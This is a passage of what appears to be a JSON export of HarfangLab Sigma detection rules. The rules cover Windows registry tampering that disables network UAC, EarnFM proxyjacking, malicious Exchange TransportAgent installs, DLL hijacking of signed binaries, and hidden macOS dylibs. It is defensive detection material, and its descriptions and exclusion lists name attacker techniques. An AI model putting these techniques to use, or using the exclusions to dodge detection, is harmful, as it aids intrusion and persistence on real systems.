+  "content": "title: Network UAC Restrictions Disabled for Local Administrator\nid: 03983a13-d23e-4494-b3c5-9b24bf51acfc\ndescription: |\n    Detects when the Network UAC for the local administrator account is disabled by setting the FilterAdministratorToken registry value.\n    By default this value is not set but adversaries may try to change it to circumvent a hardening policy.\n    This will enable an attacker to connect remotely to the machine (WMI, SCM, SMB, ...) using the local administrator account with full privileges.\n    It is recommended to investigate any suspicious authentication using the local administrator account.\nreferences:\n    - https://posts.specterops.io/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy-506c25a7c167\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2023/12/27\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.execution\n    - attack.lateral_movement\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\FilterAdministratorToken'\n        Details|contains: '?WORD (0x00000000)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_local_security_policy:\n        ProcessImage|endswith: '\\services.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\wininit.exe'\n\n    exclusion_deviceenroller:\n        ProcessImage: '?:\\Windows\\System32\\DeviceEnroller.exe'\n\n    exclusion_winoobe:\n        ProcessGrandparentImage: '?:\\Windows\\System32\\setupugc.exe'\n\n    exclusion_omadmclient:\n        ProcessImage: '?:\\WINDOWS\\system32\\omadmclient.exe'\n\n    exclusion_defender:\n        ProcessImage: '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    exclusion_logmein:\n        ProcessImage: '?:\\Program Files (x86)\\LogMeIn\\x64\\LogMeIn.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "03983a13-d23e-4494-b3c5-9b24bf51acfc",
+  "rule_name": "Network UAC Restrictions Disabled for Local Administrator",
+  "rule_description": "Detects when the Network UAC for the local administrator account is disabled by setting the FilterAdministratorToken registry value.\nBy default this value is not set but adversaries may try to change it to circumvent a hardening policy.\nThis will enable an attacker to connect remotely to the machine (WMI, SCM, SMB, ...) using the local administrator account with full privileges.\nIt is recommended to investigate any suspicious authentication using the local administrator account.\n",
+  "rule_creation_date": "2023-12-27",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "039f1d5b-74b0-46d1-8a0e-dfa8bea707bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.613613Z",
+  "creation_date": "2026-03-23T11:45:34.613616Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.613624Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cadosecurity.com/blog/from-automation-to-exploitation-the-growing-misuse-of-selenium-grid-for-cryptomining-and-proxyjacking",
+    "https://www.trendmicro.com/en_gb/research/23/b/hijacking-your-bandwidth-how-proxyware-apps-open-you-up-to-risk.html",
+    "https://attack.mitre.org/techniques/T1496/"
+  ],
+  "name": "t1496_earnfm.yml",
+  "content": "title: EarnFM Executed\nid: 039f1d5b-74b0-46d1-8a0e-dfa8bea707bd\ndescription: |\n    Detects the usage of EarnFM, a bandwidth monetization platform similar to Traffmonetizer.\n    Attackers can use this tool to perform Proxyjacking, a form of cyber exploitation where an attacker hijacks a user's Internet connection to use it as a proxy server for malicious purposes or illegal monetization.\n    It is recommended to verify if the usage of this tool is legitimate.\nreferences:\n    - https://www.cadosecurity.com/blog/from-automation-to-exploitation-the-growing-misuse-of-selenium-grid-for-cryptomining-and-proxyjacking\n    - https://www.trendmicro.com/en_gb/research/23/b/hijacking-your-bandwidth-how-proxyware-apps-open-you-up-to-risk.html\n    - https://attack.mitre.org/techniques/T1496/\ndate: 2024/09/26\nmodified: 2025/02/12\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1496\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.PUA.EarnFm\n    - classification.Linux.Behavior.CryptoMiner\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        CommandLine|contains: ' EARNFM_TOKEN='\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "039f1d5b-74b0-46d1-8a0e-dfa8bea707bd",
+  "rule_name": "EarnFM Executed",
+  "rule_description": "Detects the usage of EarnFM, a bandwidth monetization platform similar to Traffmonetizer.\nAttackers can use this tool to perform Proxyjacking, a form of cyber exploitation where an attacker hijacks a user's Internet connection to use it as a proxy server for malicious purposes or illegal monetization.\nIt is recommended to verify if the usage of this tool is legitimate.\n",
+  "rule_creation_date": "2024-09-26",
+  "rule_modified_date": "2025-02-12",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1496"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "03a594fd-50c7-4041-9c5c-706a4009f30a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072500Z",
+  "creation_date": "2026-03-23T11:45:34.072502Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072506Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
+    "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook",
+    "https://attack.mitre.org/techniques/T1505/002/"
+  ],
+  "name": "t1505_002_new_exchange_transport_agent_powershell.yml",
+  "content": "title: New Exchange TransportAgent Installed via PowerShell\nid: 03a594fd-50c7-4041-9c5c-706a4009f30a\ndescription: |\n    Detects the installation of a new TransportAgent on an Exchange server via PowerShell.\n    Attackers can use this technique to achieve persistence on an Exchange server by installing a malicious DLL as a new TransportAgent.\n    The malicious DLL also has access to emails transiting through the Exchange, and can also act as a command and control component.\n    It is recommended to investigate the DLL installed by inspecting the cmdlet arguments.\nreferences:\n    - https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf\n    - https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook\n    - https://attack.mitre.org/techniques/T1505/002/\ndate: 2022/11/08\nmodified: 2025/05/26\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1505.002\n    - attack.command_and_control\n    - attack.t1104\n    - attack.t1071.003\n    - attack.defense_evasion\n    - attack.t1546.008\n    - attack.collection\n    - attack.t1114.002\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_cmdlet:\n        PowershellCommand|contains: 'Install-TransportAgent '\n\n    selection_assemblypath:\n        PowershellCommand|contains:\n            - ' -A ' # -AssemblyPath\n            - ' -As ' # -AssemblyPath\n            - ' -Ass ' # -AssemblyPath\n            - ' -Asse ' # -AssemblyPath\n            - ' -Assem ' # -AssemblyPath\n            - ' -Assemb ' # -AssemblyPath\n            - ' -Assembl ' # -AssemblyPath\n            - ' -Assembly ' # -AssemblyPath\n            - ' -AssemblyP ' # -AssemblyPath\n            - ' -AssemblyPa ' # -AssemblyPath\n            - ' -AssemblyPat ' # -AssemblyPath\n            - ' -AssemblyPath ' # -AssemblyPath\n\n    selection_transportagent:\n        PowershellCommand|contains:\n            - ' -T ' # -TransportAgentFactory\n            - ' -Tr ' # -TransportAgentFactory\n            - ' -Tra ' # -TransportAgentFactory\n            - ' -Tran ' # -TransportAgentFactory\n            - ' -Trans ' # -TransportAgentFactory\n            - ' -Transp ' # -TransportAgentFactory\n            - ' -Transpo ' # -TransportAgentFactory\n            - ' -Transpor ' # -TransportAgentFactory\n            - ' -Transport ' # -TransportAgentFactory\n            - ' -TransportA ' # -TransportAgentFactory\n            - ' -TransportAg ' # -TransportAgentFactory\n            - ' -TransportAge ' # -TransportAgentFactory\n            - ' -TransportAgen ' # -TransportAgentFactory\n            - ' -TransportAgent ' # -TransportAgentFactory\n            - ' -TransportAgentF ' # -TransportAgentFactory\n            - ' -TransportAgentFa ' # -TransportAgentFactory\n            - ' -TransportAgentFac ' # -TransportAgentFactory\n            - ' -TransportAgentFact ' # -TransportAgentFactory\n            - ' -TransportAgentFacto ' # -TransportAgentFactory\n            - ' -TransportAgentFactor ' # -TransportAgentFactory\n            - ' -TransportAgentFactory ' # -TransportAgentFactory\n\n    exclusion_fsecure:\n        PowershellCommand|contains: 'Install-TransportAgent -Name $AGENT -AssemblyPath $AGINSTDIR\\fstragnt.dll'\n\n    exclusion_kaspersky:\n        PowershellCommand|contains|all:\n            - 'Kaspersky Security '\n            - '?:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Security for Microsoft Exchange Servers\\Kse.ExchangeIntegration.Transport.dll'\n\n    exclusion_trendmicro:\n        ProcessImage: '?:\\Program Files\\Trend Micro\\Smex\\instSetupHelper.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "03a594fd-50c7-4041-9c5c-706a4009f30a",
+  "rule_name": "New Exchange TransportAgent Installed via PowerShell",
+  "rule_description": "Detects the installation of a new TransportAgent on an Exchange server via PowerShell.\nAttackers can use this technique to achieve persistence on an Exchange server by installing a malicious DLL as a new TransportAgent.\nThe malicious DLL also has access to emails transiting through the Exchange, and can also act as a command and control component.\nIt is recommended to investigate the DLL installed by inspecting the cmdlet arguments.\n",
+  "rule_creation_date": "2022-11-08",
+  "rule_modified_date": "2025-05-26",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.003",
+    "attack.t1104",
+    "attack.t1114.002",
+    "attack.t1505.002",
+    "attack.t1546.008"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "03d8eca6-3f1e-4d11-b989-2c6762458061",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587248Z",
+  "creation_date": "2026-03-23T11:45:34.587252Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587259Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://twitter.com/an0n_r0/status/1544472352657915904",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_diskpart.yml",
+  "content": "title: DLL Hijacking via diskpart.exe\nid: 03d8eca6-3f1e-4d11-b989-2c6762458061\ndescription: |\n    Detects potential Windows DLL Hijacking via diskpart.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://twitter.com/an0n_r0/status/1544472352657915904\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'diskpart.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Zoom\\bin\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "03d8eca6-3f1e-4d11-b989-2c6762458061",
+  "rule_name": "DLL Hijacking via diskpart.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via diskpart.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "03dfe441-3d70-41a1-8a9b-9e3c68cee99b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092994Z",
+  "creation_date": "2026-03-23T11:45:34.092996Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093000Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1564/001/"
+  ],
+  "name": "t1564_001_hidden_dylib_loaded.yml",
+  "content": "title: Hidden Dylib File Loaded\nid: 03dfe441-3d70-41a1-8a9b-9e3c68cee99b\ndescription: |\n    Detects a hidden dylib library being loaded.\n    Adversaries can create hidden malicious libraries to avoid raising users' suspicions.\n    It is recommended to check the origin of the library to determine its legitimacy.\nreferences:\n    - https://attack.mitre.org/techniques/T1564/001/\ndate: 2024/06/03\nmodified: 2025/11/19\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1564.001\n    - classification.macOS.Source.LibraryLoaded\n    - classification.macOS.Behavior.DefenseEvasion\nlogsource:\n    category: library_event\n    product: macos\ndetection:\n    selection:\n        ImageLoaded|re: '.*\\/\\.[^\\/]*$'\n\n    exclusion_grr:\n        ImageLoaded:\n            - '/private/var/db/oah/*/*/.Python.aot'\n            - '/usr/local/lib/grr/grr_*/.Python'\n        Image: '/usr/local/lib/grr/grr_*/grr'\n\n    exclusion_postman:\n        Image: '/Applications/Postman.app/Contents/MacOS/Postman'\n\n    exclusion_var_folder:\n        ImageLoaded|startswith:\n            - '/private/var/folders/??/'\n            - '/private/var/db/???/'\n\n    exclusion_claude:\n        Image|contains:\n            - '/claude/versions/'\n            - '/claude-code/'\n            - '/extensions/anthropic.claude-code-'\n            - '/Users/*/.claude/'\n        ImageLoaded: '/private/tmp/.????????????????-????????.node'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "03dfe441-3d70-41a1-8a9b-9e3c68cee99b",
+  "rule_name": "Hidden Dylib File Loaded",
+  "rule_description": "Detects a hidden dylib library being loaded.\nAdversaries can create hidden malicious libraries to avoid raising users' suspicions.\nIt is recommended to check the origin of the library to determine its legitimacy.\n",
+  "rule_creation_date": "2024-06-03",
+  "rule_modified_date": "2025-11-19",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "03fc1f68-4d9c-420b-b4a5-79fae4a133ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.591378Z",
+  "creation_date": "2026-03-23T11:45:34.591382Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591389Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dsget.yml",
+  "content": "title: DLL Hijacking via dsget.exe\nid: 03fc1f68-4d9c-420b-b4a5-79fae4a133ee\ndescription: |\n    Detects potential Windows DLL Hijacking via dsget.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dsget.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\activeds.dll'\n            - '\\netapi32.dll'\n            - '\\ntdsapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "03fc1f68-4d9c-420b-b4a5-79fae4a133ee",
+  "rule_name": "DLL Hijacking via dsget.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dsget.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "04429fe5-8be4-4481-b930-acfc3c648434",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075966Z",
+  "creation_date": "2026-03-23T11:45:34.075968Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075973Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_gpupdate.yml",
+  "content": "title: DLL Hijacking via gpupdate.exe\nid: 04429fe5-8be4-4481-b930-acfc3c648434\ndescription: |\n    Detects potential Windows DLL Hijacking via gpupdate.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'gpupdate.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\USERENV.dll'\n            - '\\wevtapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "04429fe5-8be4-4481-b930-acfc3c648434",
+  "rule_name": "DLL Hijacking via gpupdate.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via gpupdate.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0462a933-4c70-4baa-b836-58671ae8a94b",
+  "test_maturity_current_count": 0,
